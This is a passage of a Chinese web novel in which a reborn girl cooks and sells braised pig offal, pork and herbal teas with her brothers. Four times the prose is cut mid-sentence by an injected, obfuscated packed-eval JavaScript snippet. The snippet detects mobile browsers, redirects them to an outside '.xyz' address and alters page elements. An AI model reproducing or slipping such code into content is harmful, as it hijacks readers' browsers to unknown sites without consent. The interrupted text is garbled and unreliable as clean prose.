林窈想了想，原主今年十二岁，也还是个小孩，贪嘴一些更符合原本的年龄，选了个小猪模样的糖人。 林崧一时间选不出来，站在摊前，眼睛瞪得溜圆，左看看右瞅瞅，满心都是欢喜与纠结。 摊子上的糖人栩栩如生，有威风凛凛、张着大口的老虎， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094889|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有展翅欲飞的彩凤，还有憨态可掬的胖娃娃，他每一个都喜欢。 林崧的小手捏了捏衣角，犹豫再三，最后指着一只老虎，下定决心，“阿兄，我要这个。” 林诚付了八文钱，把糖人递到林崧手里，小家伙眉开眼笑，小心翼翼地舔着，那模样逗得林窈和林诚都笑了起来。 林窈也吃着手里的糖人，是再普通不过的糖的味道，但是甜味却慢慢渗入她的心底。 上辈子，她无父无母，在孤儿院那方小小的天地里长大。孤儿院的日子清苦又单调，陈旧的屋子，大家一起守着为数不多的玩具，分享着微薄的物资，长期的匮乏感也让她从小就渴望有钱，只有赚钱能带给她安全感。稍大一些她就一个人出去闯荡，跌跌撞撞才有了些成就，但她还没赚够钱就嘎了，想到这里，林窈一时间怒骂老天无情。 在某些方面，她是羡慕原主的，身边有真心疼爱自己的大哥，有活泼可爱的弟弟，这份温暖，是她上辈子从未体会过的。但就是有点太穷了，她林窈可不是个愿意过苦日子的人，可以说是为了自己，也可以说是为了报答已经逝去的原主，她都会努力赚钱的。 三人继续在镇上闲逛，街边的铺子琳琅满目，幌子随风飘舞。卖吃食的摊子一家挨着一家，热气腾腾。 一家卖烧饼的铺子前排着长队，林窈看了看招牌，这就是吴镖头说的钱家饼摊。林窈看这刚出炉的烧饼泛着诱人的金黄，芝麻嵌得更紧实，看着胖乎乎的。 隔壁的粥铺也不甘示弱，大锅里熬着的米粥咕噜咕噜翻滚着，白气氤氲，米香和着红枣、桂圆的甜香飘散开来。 林窈看得目不暇接，心里算盘打得噼里啪啦响。 她暗自琢磨着这些吃食的定价、食材成本，想着若是自家开店，怎样才能做出特色，把客人招揽过来。走着走着，一家看着颇为整洁的面店映入眼帘，店里坐了不少食客，正呼噜呼噜地大口吃面，看着就香。 林窈率先迈进店里，林诚和林崧紧跟其后。 店小二热情地迎上来：“三位客官，来点啥？” 林窈脆声道：“一碗面，两份馄饨。” 林诚一听，下意识就想拉着林窈往外走，这得花不少钱，家里挣钱不容易，每一文都得省着花。 他刚要开口，林窈像是看穿了他的心思，笑着拉住林诚的胳膊说：“阿兄，咱这几天都赚了钱，就吃一顿好的吧，我还没在镇上吃过东西呢。” 林诚听了这话，微微一愣，望着妹妹亮晶晶的眼睛，终究还是把拒绝的话咽了回去。妹妹跟着自己吃苦受累这么久，偶尔吃顿好的也是应该的。他咬咬牙，对店小二说：“就按我妹妹说的上。” 没一会儿，面和馄饨就端上桌了。面汤清亮，面条筋道，上头还铺着几片嫩绿的葱花；馄饨皮薄馅大，隐隐能瞧见里头粉嫩的肉馅，在鲜香的汤底里沉浮。 林窈先尝了一口馄饨，肉馅的咸香瞬间在舌尖散开，虽说这味道比起现代那些花样百出的美食，不算出彩，但在这小镇里，却有着别样的踏实感。 “老板，便宜点吧，我这一下买了三十碗面，一共算三百五十可好？”一个略微耳熟的男声在面馆响起。 8. 买买买 林窈抬头一看，是上次买饼的高大壮书生。 那书生跟在店家后讲价，亦步亦趋，甚是滑稽，最后店家烦不胜烦，便宜了十文钱，他才心满意足，掏钱走人。 从面馆出来，林窈三人进了铁匠铺子。 铁匠铺子里头弥漫着一股炭火与金属混杂的味道，炉火呼呼作响，映得满屋子暖烘烘的。 林窈的目光在铺子里转了一圈，最后定格在角落里的一堆铁板上，她想定做一个铁板烧的板子，但是现在还没有这种样式的锅，林窈只能把现代铁板的构造描述给铁匠听：“师傅，我要一个这么大、这么浅的铁板。”说着，还用手比划起来，“四周的边得稍微高一点就行，铁板要打得均匀些，面上还得光滑平整。” 铁匠停下手里的活儿，抬眼打量着林窈，眼里满是疑惑：“小娘子，你打这么个浅的锅做什么？寻常人家做饭，可没使这种家伙什儿的。” 林窈含糊地说：“师傅，我家人口多，摊饼用普通锅太费事儿，这个方便。” 铁匠虽不解，哪有人为了摊饼快就专门打一个锅的，不过这只是钱货两讫的交易，有钱赚就行，铁匠爽快应了下来：“成，两天后来取，一共二百八十文，先交八十文定金。” 林窈看着大哥掏钱袋的时候，手指都忍不住哆嗦了一下，她的心也在滴血，一阵肉疼，古代的铁真是贵。 可转念一想，这铁板可不单单能用来摊饼，还能铁板豆腐、铁板炒面、铁板炒饭……到时生意肯定更红火，又觉得这钱花得值当了。 林诚把定金给了站在一旁的学徒，虽然他也不明白妹妹要这种怪模怪样的铁板有何用，但自从妹妹得仙人指点后，行事风格大变，新奇想法一个接着一个，这么做总有她的道理。 从铁匠铺出来，三人又朝着陈屠户那儿走去，陈屠户摊前，林窈熟稔地在案板上翻找，挑了一大块色泽白润、脂膏丰厚的猪板油，接着，林窈看到在案上搁着的肥瘦得当的五花肉，想到一家子营养不良的样子，便对陈屠户说：“劳烦再割一斤这五花肉。” 林窈把肉拎起，暗暗庆幸这时代有了谯猪法，猪肉没了膻味，做起红烧肉来，必定软糯香甜，勾人馋虫。 刚要抬脚离开，角落里一根孤零零的大骨入了林窈的眼，这可是炖汤熬粥的好料！吸饱了汤汁的骨髓，别提多鲜美！ “陈叔，这棒骨多少钱？”林窈问道。 “两文一根。”陈屠户回道。 “劳烦陈叔给我拿上。”林窈。 “好嘞！”陈屠户。 准备付钱时，林窈看到陈屠户放在一边的一大桶猪下水。 她顿时眼睛放光说道：“老板，这些猪下水我全要了。” 林诚一听，立马伸手拽住她，苦着脸劝：“阿窈，要吃肉大哥给你买，这猪下水又脏又臭，收拾起来还很是麻烦。” 猪下水虽然臭，但在资源匮乏的古代，也还是会有人买来补充油水，所以价格并不是特别便宜，稍微有点余钱的家庭都不会选择猪下水。 但这时，林窈脑子里只剩下卤肥肠、卤猪肺…… 虽然只来到这个世界几天，但是她感觉自己好像已经离开这些美食很久了，只是想想，她就馋得口水都快下来了，她今天是一定要把这些猪下水买回去的：“阿兄，我肯定能把它们拾掇干净，做出来的菜可好吃了。” 林诚拗不过她，只好叹着气掏钱。 卤汁离不开各种的大料，林窈带着大哥和弟弟走进了香料店和药材铺。 八角、桂皮、香叶、丁香……林窈跑了好几个地方才把东西买齐，等把账结清，林窈清点钱袋子，今天卖桂枝挣的六百八十文，此刻就只剩一百十二文了。 林窈在心里默念：“舍不得孩子套不着狼，钱来钱来，钱从四面八方来！” 三人带着大包小包，往家走去。林崧走在前头，手里还举着没吃完的糖人，时不时舔上一口。 路过村口的老槐树时，几个婶子正唠着家常，瞧见他们大包小包的，眼神立马就黏了过来，热络地招呼：“诚哥儿、窈丫头，买这么多东西呀？” 林诚刚要开口，林窈抢先一步笑着应道：“婶子，家里米缸快见底了，就去添补些，不然都揭不开锅了。” 婶子们一听，也就没再多问，随意唠了几句，又转头聊起自家事儿。林窈暗自松了口气，人心隔肚皮，财不外露才是稳妥之道。 进了家门，林窈把东西一股脑儿往地上一放，就忙活起来了。 她先把猪下水搬到院子角落，打来满满一盆井水，将猪下水一股脑儿浸进去，准备先给它们来个初步清洗，随后加入面粉进一步清洁猪下水。 林诚把其他东西安置好，看着这白面被用来洗这猪下水，心里倒吸一口凉气，凑过来说：“阿窈，这玩意儿真能弄出好吃的？” 林窈一边揉搓着猪下水，一边自信说道：“阿兄，你就瞧好吧，等我拾掇干净，保准香得你流口水。” 林崧蹲在一旁，睁大眼睛好奇地看着，时不时伸手戳戳盆里滑溜溜的猪大肠：“二姐，它看起来好奇怪，臭臭。” “那你一会吃吗？”林窈看着小家伙的样子，起了逗弄的心思。 林崧想了想二姐最近做的饭菜，很是美味，大眼睛眨了眨，“吃！” 林窈见林崧答应得干脆，忍俊不禁，手上揉搓猪下水的动作也愈发利落。 她把面粉均匀裹在猪肠、猪肚等上面，反复揉搓，面粉遇水变得黏糊，裹挟着脏器上的黏液与杂质，不一会儿，盆里的水就变得浑浊不堪。① 林窈倒掉脏水，又打来几盆清水，仔仔细细冲洗，直到流出的水清澈见底，露出食材本身的色泽，猪下水也褪去了原本那股刺鼻的腥味。 接下来，就是最关键的环节——调卤汁。 林窈把洗好的猪下水切成大小均匀的块状，一一码放在大瓦盆里备用。转身进了屋，从刚买的香料包里挑出八角、桂皮、香叶、丁香、花椒，每样抓上一小把，又添了姜片、葱段，一股脑儿放进锅里。 灶膛里的火已经烧旺，林窈往锅里倒了足量的清水，看着水慢慢沸腾，香料的馥郁气息随着热气升腾起来，弥漫了整个小院。 水开之后，她加入适量的盐，用筷子搅拌均匀，让汤汁染上漂亮的酱色，再放入处理好的猪下水。 猪下水入锅，瞬间被翻滚的汤汁淹没。林窈盖上锅盖，只留一条小缝透气，任由火势稳定地舔舐着锅底。她守在灶边，时不时用筷子翻动一下，确保每块猪下水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094890|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都能染上卤汁的香味。 林诚在一旁帮忙添柴，看着锅里咕嘟咕嘟冒泡的卤汁，嗅着空气中越来越浓郁的香味，满心的怀疑逐渐消散，取而代之的是隐隐的期待。 林崧更是坐不住了，像个小尾巴似的跟在林窈身后，一会儿踮起脚尖瞅瞅锅里，一会儿吸吸鼻子。 约莫过了半个时辰，林窈夹起一块猪肠，用筷子轻轻一戳，肠壁微微凹陷，又迅速回弹，火候差不多了。 她让林诚不用再添柴火，保持小火，让猪下水在卤汁里焖上一会儿，好让滋味渗得更透。 焖了半个时辰，林窈把卤猪下水捞进一个干净的陶盆，满满当当，再撒上些许切碎的香菜，热气裹挟着鲜香之气扑面而来。 “阿兄，崧儿，快来尝尝！”林窈笑意盈盈地招呼着，眼里满是期待。 肥肠被卤汁染得黑红发亮，盘绕在盘中，泛着诱人的油光，光是瞧着，就让人忍不住咽咽口水。 林诚把筷子伸向卤肥肠，轻轻夹住一小段，入手是软糯的弹性。缓缓送入口中，牙齿刚一咬合，先是肠衣那恰到好处的韧性传来，微微弹牙，紧接着，内里软糯香浓的油脂与肉香瞬间爆开，卤汁浓郁醇厚的味道汹涌而入——八角的浓郁、桂皮的甘甜、香叶的清新，交融汇聚，每一味都丝丝入扣，与肥肠本身的脏器香完美契合，毫无突兀之感。 林诚的眼睛瞬间瞪大，眼底满是惊喜与难以置信，原本慢腾腾的咀嚼速度不自觉加快，越嚼越觉得这滋味回味无穷。 “阿窈，”林诚咽下口中美食，声音都染上了几分急切与兴奋，“这卤肥肠真是人间美味！我长这么大，就没吃过这般好吃的东西！”说着，他又赶紧夹了一大块，放入口中，满心都沉浸在这意想不到的美味里，这时林窈难得在林诚身上看到了一丝稚气。 一旁的林崧早就按捺不住，瞅着大哥吃得一脸陶醉，迫不及待地伸手就去夹。他瞄准了一块卤猪肺，也不顾烫，直接往嘴里塞。 结果刚咬下去，“嘶——”的一声，烫得他立马张开嘴巴，可即便如此，还是舍不得吐出来，张大嘴呼呼吹了几下，囫囵吞下。那狼吞虎咽的模样，仿佛生怕别人抢了去，腮帮子鼓鼓的，边嚼还边含糊不清地嘟囔：“二姐，太好吃了！” 林窈看着两人吃得欢，也夹起一块卤肥肠。入口的瞬间，熟悉的滋味在舌尖绽开，肠衣带着恰到好处的韧性，轻轻一咬，软糯绵密的内里便渗出丰腴的汁水，卤香、脂香与香料的气息交织在一起，顺着喉咙暖融融地滑下去。她忍不住眯了眯眼，享受这阔别已久的美味。 “阿兄，崧儿，咱们先盛出来些，留着当晚饭。”林窈说着，拿过一个大海碗，把卤猪下水满满当当装了一碗。热气腾腾的饭菜端上桌。 一家人围坐在一起，就着新出锅的卤味，平日里寡淡的粗粮饭也吃得有滋有味。 吃完晚饭，林窈把剩下的卤猪下水仔细收进干净的瓦罐里盖好。 她转身看了看一边往扁担上绑东西的林诚，说道：“阿兄，明天我打算把这些卤菜拿到摊子上卖。” 林诚把木桶固定在扁担的一头，“就照你说的办。” 月色如水，洒在小院和三间小茅草屋上，林窈突然觉得，这样平凡又忙碌的日子也不错。 9. 卤猪下水 “林小娘子，这桶里的是何物，闻着可真香。”李大娘一边擦桌子，一边看着林窈放在地上的木桶。 “这是我做的卤菜，卤猪下水，大娘可要尝尝？”林窈回道。 李大娘一听到是猪下水，脸色立刻就变了，“哎哟，怎么是这种吃食，你们这生意才刚做起来，可别坏了招牌。” 李大娘知道猪下水价格低，有的穷苦人家也会买来补充油水，但是吃起来总有一股怪味，担心林窈几个年纪小，不懂这吃食生意贵在口碑。 林窈明白李大娘是好心，“大娘，您放心，我这卤猪下水和别家可不一样，用了我们家祖传的香料配方，早就把那股子异味给去除了，您要不尝尝？”说着，她从木桶里捞出一块卤好的猪大肠，放在一个干净的碟子里，递到李大娘面前。 李大娘听她这么说，不好推拒，半信半疑地接过，轻轻咬了一口。她本意为了照顾一下林窈的面子，小姑娘如此自信，总不好上来就拂了她的面子，叫人难看，但意外之外的是，卤猪下水入口的刹那间，卤香在口中散开，细细咀嚼，口感更是软糯又不失嚼劲，完全没有记忆中猪下水的怪味。 李大娘眼中陡然一亮，连连点头，“不得了，林小娘子，你家这祖传秘方真是神了！果真是一点怪味都没有！若是再配上一壶小酒，边吃这卤猪下水，边抿着酒，那滋味，甭提多舒坦！” 林窈虽然对自己做的卤猪下水的味道很有信心，但是也难免会担心客人对猪下水有偏见，不愿尝试。如今看见李大娘如此喜爱，心下有了底，又从桶里捞出了一些卤猪下水，切成小块放在盘子上做试吃。 做完这些，摊子前已经陆续开始来人了。 “小娘子，来一个韭菜鸡蛋饼和一个香葱鸡蛋饼。”一位二十岁左右的码头工人站在摊前，从怀里掏出几枚铜板，递向林窈，目光扫过摊位上的卤猪下水，“这是何物？” 林窈笑着回应：“大哥，这是我家的新菜，卤猪下水。” “猪下水？猪下水都有股怪味，你们怎么拿这种东西出来卖？”那码头长工很是疑惑。 林窈早料到会有人问这样的问题，“大哥，我家的猪下水可不一样，都是经过精心处理的、慢火细卤而成，没有一点异味，大哥可以试试看，这碟子里的是试吃，您尝尝，不要钱。” 码头做工的大多家境贫寒，吃肉的机会是少之又少。虽说猪下水气味怪异，可好歹也是肉。一听说能免费吃，那长工顿时觉得捡了大便宜，心里乐开了花。 他接过林窈递过来的碟子，用竹签扎起一块卤猪下水，放入口中咀嚼，脸上闪过一丝惊讶，“嘿，真是一点怪味都没有，好吃！怎么卖？” “一斤十二文。”林窈回道。 “这么贵！镇上新鲜的猪肉也不过十八文一斤，这卤猪下水都要比上猪肉的价钱了。”码头工人有些犹豫。 林窈笑眯眯说道：“大哥，您瞧瞧我家这卤猪下水，处理得干干净净，清洗的时候用的可都是白面哩！卤制的时候更是加上我家祖传的香料，里头还有不少名贵药材呢。这吃食既能配饭，又能下酒，还对身体有好处。您平日里在码头干活，肯定耗费不少体力，吃了这个，保准能扛饿，有力气干活！” 林窈在这里小小地用了一下心理账户效应。若单纯将卤猪下水视为一份普通吃食，客人心里的预算便会极为有限，毕竟十二文一份的价格着实不低，难免会让人觉得昂贵。然而，人们对于关乎自身身体健康的预算，通常会更为宽松。所以林窈向客人强调，这卤猪下水里添加了珍贵药材，将其与健康紧密关联起来。如此一来，客人在考量价格时，所能接受的幅度自然而然就变大了。 果不其然，那长工一听到里头还放了名贵的药材，便不再犹豫，“行，给我来半斤，再帮我把这饼包好，我一会儿赶工当午饭。” 旁边一位大爷站在那听了半晌，看还真有人买，也凑了过来：“小娘子，你这是免费吃的？” “是哩，大爷您尝尝看。”林窈连忙上前推荐。 大爷接过林窈递来插着卤猪下水竹签，放入口中，细细咀嚼，“小娘子，这味儿真香啊！竟真能把猪下水的臭味去得干干净净！”大爷下意识又戳起一块，动作一顿，反应过来自己的行为，脸上泛起一丝尴尬。 林窈看着大爷的举动，也不阻拦，脸上挂着盈盈笑意，趁热打铁介绍起来：“大爷，您尝了就知道，我家这卤猪下水，用的都是当天采买的新鲜食材，清洗得一点怪味都没有。再加上我家独门的香料配方，小火慢卤入味，不管是就着米饭吃，还是配着小酒喝，都特别合适！” 大爷忙不迭点头，“小娘子，给我来上一斤，我今儿个回家，就着小酒慢慢吃，那日子，简直快活似神仙呐！” 这边话音刚落，一位提着菜篮的妇人也走了过来，“我在老远就闻着味儿了，原来是在卖卤猪下水。小娘子，你这猪下水干净吗？” 林窈连忙解释：“夫人放心，这是新鲜的猪下水，回来反复清洗过的。”说着，又递上一块试吃，“您尝尝，要是觉得好，再买也不迟。” 妇人尝了后，满意地点了点头：“给我来一斤，我家那口子就好这口。” 摊位前越来越热闹，林诚忙得脚不沾地，不停地切卤味、打包、收钱。 刚过午时，摊子上的东西就一售而空。 兄妹三人正在收拾摊子上的东西时，几个码头工人朝着他们快步走了过来，为首的是个身材魁梧、满脸胡茬的大汉，此人名唤余达，在码头上做工已有五年，他大老远就扯着嗓子喊：“小娘子，可算赶上了！” 林窈闻声抬起头，疑惑地看着他们。余达几步走到摊前，笑着说：“小娘子，我的一个小兄弟在你这买了一份卤猪下水，中午分了我们一小块，那滋味真是好！把我们几个馋得不行，这不，一下工就赶来了。” 另一个年轻些的工人也附和道：“是啊，只给我们一人分了指甲盖那么大，怎么够吃。” 林窈有些为难地指了指空荡荡的卤味桶，歉意地说：“实在不好意思，几位大哥，今日的卤猪下水都卖光了。” 余达一听，面上有些失落，“小娘子的生意真是红火，我们几个一下工就赶过来，没想到已经卖完了，这也卖得太快了。” 林窈闻言，眸光闪烁，略作思索后说道：“几位大哥过奖了。今日是我们头一回售卖卤猪下水，准备得不够充分，做得数量有限。不过几位大哥放心，明日我一定多备些食材。要是大哥们实在担心买不到，不妨在我这儿提前预定，我到时就专门为各位大哥预留出相应的分量，保准让大哥们都能吃上这口热乎的。” 大汉眼睛一亮，和同伴们商量了一下，说：“给我们来五斤吧！我们几个干活的，就爱吃这种顶饿，又解馋的。” 林窈爽快地答应：“行嘞，大哥！明日你们来，保准有。” 收拾好东西，兄妹三人脚步匆匆地回家了，关上家门，林诚把藏在胸前的铜板都拿了出来。 今日准备的鸡蛋饼和昨天一样，各三十个，一共卖了一百八十文，卤猪下水卖了一百五六文，一共三百三十六文。 数完钱，林诚很是激动。 但是林窈心算了一下，却说，“刨去成本，今日只赚了八文钱。” 林诚欣喜的表情突然呆住。 林窈耐心解释：“阿兄，今日是咱头一回做卤猪下水，那卤料都是新置的，花了不少钱。但往后就不一样了，卤料还能接着用，成本自然就降下来了。” 林诚这才放心下来，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094891|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我先去把猪下水买回来，去迟了可就没有了。” “阿兄，这一次买三十斤吧，多做些，咱们家自己也吃。”林窈说道。 林诚出门后，林窈又带着林崧上山去了。 如今摊子上有肉有饼，还缺点喝的，只是在码头做工的人，基本都会自备茶水，如果不能够做出特别又实惠的饮子，就不会有人愿意掏钱买。 林窈这一次上山是冲着山上的紫苏去的，她之前做过宋朝饮子的视频，脑子里的存货多得很。 她脑海中最先浮现的，便是在宋朝风靡一时的紫苏饮。在现代，制作紫苏饮易如反掌，柠檬、甘草这类配料随处可买。然而，身处当下这个朝代，情况却大不相同。市面上连柠檬的影子都难寻，甘草更是昂贵的药材，获取不易。如此一来，制作紫苏饮的成本便会高得惊人，不适合她现在这种小打小闹的生意。 林窈转念一想，紫苏可不只用来做紫苏饮，还能搭配其他食材制成不同的饮品。她琢磨着，打算做个紫苏山楂茶和紫苏菊花茶。好在山上紫苏、山楂和野菊花都有，虽说去采摘得费些脚力，也需要花些时间，但总归是能解决材料的问题，成本也能控制住。 打定主意，林窈走得比之前更深了一些，山林愈发茂密，脚下的路也更加难行，层层叠叠的落叶铺在地上，掩盖了不少坑洼和尖锐的石块，稍不留意就会被绊倒。 林崧紧紧拉着林窈的手，“二姐，我们要找什么？” 林窈一边小心地探着路，一边回答：“我们要找紫苏、山楂和野菊花。紫苏的叶子带着独特的香气，能让饮子闻起来特别诱人，山楂味酸，加在饮子里，味道更丰富，野菊花泡水清甜，还能清热去火，在这大热天里，喝上一口，别提多舒服了。等我们把这些都找齐，做出来的饮子，肯定能吸引好多人来买。” 林崧似懂非懂地点点头，眼睛里满是好奇：“真的吗？那紫苏和山楂都长什么样子？”他从小就呆在村子里，野菊花见多了，但是紫苏和山楂还没见过。 “紫苏的叶子是紫色的，背面还有点毛茸茸的，山楂就像一个个红彤彤的小灯笼，挂在树上可好看了，一会儿你见到了，就知道了。”林窈笑着说。 两人继续在山林中艰难前行，蚊虫不断地在他们身边嗡嗡作响，时不时在他们的手脚上叮咬一口。 林窈一边挥舞着手中的树枝驱赶蚊虫，一边留意着周围的动静。突然，林窈停下脚步，眼睛亮了起来，指着前方不远处：“崧儿，快看，那就是紫苏！” 只见一丛丛紫苏在微风中轻轻摇曳，叶片宽大而舒展，散发着浓郁的香气。林窈快步走过去，蹲下身子，仔细地挑选着最鲜嫩的叶片，放入背篓中。林崧也连忙跟了过去，学着林窈的样子，小心翼翼地采摘着。 “二姐，这个真的好香啊！”林崧兴奋地说。 “等我们把它做成饮子，味道会更香。”林窈笑着回答。 摘完紫苏，他们又朝着山楂树可能生长的地方走去，山楂树通常生长在山坡林或者灌木丛里，林窈带着林崧往前走，山路愈发崎岖，荆棘丛生，林窈不得不一边用树枝拨开荆棘，一边护着林崧。走着走着，林窈的手臂不小心被荆棘划了一道口子，鲜血渗了出来。 “二姐，你受伤了！”林崧焦急地喊道。 林窈不在意地擦了擦伤口：“没事，一点小伤，不碍事。山楂树就在前面。” 终于，他们在一处陡峭的山坡上看到了几棵挂满红彤彤果实的山楂树。林窈找了一根长长的树枝，用力地打下山楂，林崧负责在地上捡，不一会儿，就装了一背篓。 野菊花随处可见，不必特意去寻，在回家的路上，林窈和林崧一边走一边摘路边的野菊花，摘下来的野菊花被他们用衣服兜着，鼓鼓囊囊的。 10. 紫苏饮子 回到家里，林窈顾不上休息，便一头扎进了厨房。她先把采摘回来的紫苏、山楂和野菊花一一取出，摆在桌子上。 林窈先把紫苏洗净，放在一旁备用。接着，她拿起山楂，用小刀仔细地去核，动作熟练而利落。山楂的汁水溅到手上，酸酸甜甜的味道弥漫开来。 林崧好奇地凑过去，“二姐，我也要帮忙！” 林窈点了点他的小鼻子：“崧儿替二姐把野菊花挑拣一下，把坏的和杂草挑出来就好。” 林崧用力点了点头，认真地开始挑拣野菊花。 林窈把去核的山楂切成小块，放入锅中，加入适量的水。不一会儿，锅里便传来了山楂让人口舌生津的香气。 煮了一盏茶的时间，林窈把切好的紫苏叶放入锅中，与山楂一起熬煮。顿时，紫苏独特的香气与山楂的酸甜完美融合，弥漫在整个厨房里。林崧闻着这诱人的香气，忍不住咽了咽口水。 “二姐，这个味道好香啊，肯定很好喝。”林崧兴奋地说。 林窈笑着回答：“一会做好了，就给你尝尝。” 在煮紫苏山楂茶的间隙，林窈也没闲着，她另起一锅，烧上热水，把挑拣好的野菊花放入茶壶中，用热水冲泡。金黄色的茶汤在茶壶中翻滚，野菊花的清香扑鼻而来。 一番忙碌过后，紫苏山楂茶和紫苏菊花茶终于做好了。 林窈把它们分别倒入两个大茶壶中，放在一旁晾凉。 林诚提着两大桶猪下水回来的时候，闻到家里传出阵阵清香。 他将猪下水搁在灶房门口，抹了抹额头上的汗珠，“阿窈，怎么闻着一股野菊花的香气？” 林崧像只欢快的小鹿，蹦蹦跳跳地迎了出去，一把拉住林诚的胳膊，兴奋劲儿都快溢出来了：“阿兄，你可算回来啦！二姐做了新饮子，紫苏山楂茶和紫苏菊花茶，可香可好喝！”说着，就拽着林诚往灶房走。 走进灶房，林诚一下就看到桌上那两大壶色泽诱人的饮子。他凑近，深吸一口气，混合着酸甜与清香的气味直钻鼻腔。 滚烫的茶一入口，林诚被烫得龇牙咧嘴，但他舍不得吐出来，强忍着在嘴里倒腾几下后咽了下去。 “嘶……烫死我了！”林诚一边吸气，一边赞不绝口，“但是真好喝，我这一路的乏都解了！” 林窈又好气又好笑，赶忙说道：“阿兄，你也太心急了，就不怕烫坏嘴巴。”说着递给他一碗凉水。 林诚接过凉水，喝了几口，缓了缓，又看向那壶紫苏菊花茶，“那这壶菊花茶味道肯定也差不了。”说着又要去倒。 林窈连忙阻拦：“别喝太急，仔细又烫着。这菊花茶，清热降火，等会慢慢喝。” 林诚嘿嘿一笑，这次轻轻吹了吹，慢慢抿了一口，细细品味后，“清甜爽口，还有股淡淡的花香，咱煎饼摊配上这饮子，生意肯定更好！” 趁着林窈和林诚说话的功夫，林崧也跟着抿了一小口紫苏山楂茶，刚喝进去，眼睛就亮了起来：“哇，好好喝，二姐好厉害！” 喝完饮子，林诚就开始收拾起猪下水。 林窈到院子里，把昨天在集市里买的五花肉和棒骨从井水里取了出来。 夏天天气炎热，为了防止肉类变质，她特意将肉用绳子拴好，吊在井里，利用井水的低温保鲜。 林窈把肉和骨头放在案板上，仔细地检查了一番，确定没有异味后，开始动手处理。 她先把五花肉切成大小均匀的方块，每一块都切得四四方方，放在一旁备用。随后，她拿起棒骨开始刷洗，连骨缝里的杂质都被清理得干干净净。 灶房外，林诚也将猪下水清洗干净了。猪大肠被他切成均匀的小段，猪肚则被摊开，上面的黏液和多余的脂肪都已被去除，“阿窈，猪下水收拾好了。” 林窈忙着炖猪骨汤，头也没抬就应道：“阿兄，你把猪下水放在之前的卤料里接着卤就成了，卤料味道醇厚，还能再卤上几回。” 林诚提起木桶，将猪下水一股脑儿放进锅里。卤汁一直在灶房里用小火煨着，经过一天的沉淀，色泽更加浓郁，香气扑鼻。 林窈这边也没闲着，抹了把汗，开始做东坡肉。 她先把切好的五花肉块放入沸水中焯水，去除血水和杂质，捞出来沥干水分。接着，在砂锅里铺上一层葱段和姜片，将焯好水的五花肉皮朝下码放在葱姜上，倒入些许浊酒、糖，再倒入刚好没过肉块的热水。 林窈此刻心里有些惋惜，要是有酱油就更好了。 酱油其实在东汉时期就有了，那时叫“清酱”，所以这个朝代也有酱油，但是因为制作工艺复杂，没有被大规模生产，价格高昂，她现在根本买不起，只能吃这种寡淡版的红烧肉。 古法酱油她也研究过，只是做起来费时费力，等日后生意铺开了，兴许她就可以腾出手捣鼓一下。 林窈盖上锅盖，先用大火将汤汁烧开，然后转小火慢炖。 她又在另一个大锅里放入洗净的棒骨，加入足量的水，放入姜片、葱段和酒，大火煮开后撇去浮沫，转小火慢炖。慢慢地，棒骨汤变得奶白色，香气四溢。 林崧在一旁时不时递上调料，帮忙搅拌一下，小小的身影像陀螺一样乱转。 厨房里，卤猪下水的醇厚香味、红烧肉的甜香和棒骨汤的鲜香相互交织。 刚把手上的活做完，林窈又想起了一件事。她对林诚说：“阿窈，明天咱把饮子用竹筒装起来卖吧，这样方便没带水壶的客人。” 林诚点头赞同：“这主意不错，我这就去旁边的竹林里，砍些竹子回来做。”说着，他放下手中的活计，准备起身去拿砍柴的工具。 林窈则继续守在锅前，时不时掀开锅盖看看红烧肉和棒骨汤的情况。 红烧肉在小火的慢炖下，已经变得色泽红亮，香气愈发浓郁。她用筷子轻轻一戳，肉块轻松就被穿透。这时的红烧肉已经炖得恰到好处。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094892|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她小心地将红烧肉翻了个面，让肉皮朝上，再煮一会儿，好让肉皮更加入味。 不多时，林诚就背着一大捆竹筒回来了。 此时，卤猪下水也已经卤得差不多了。 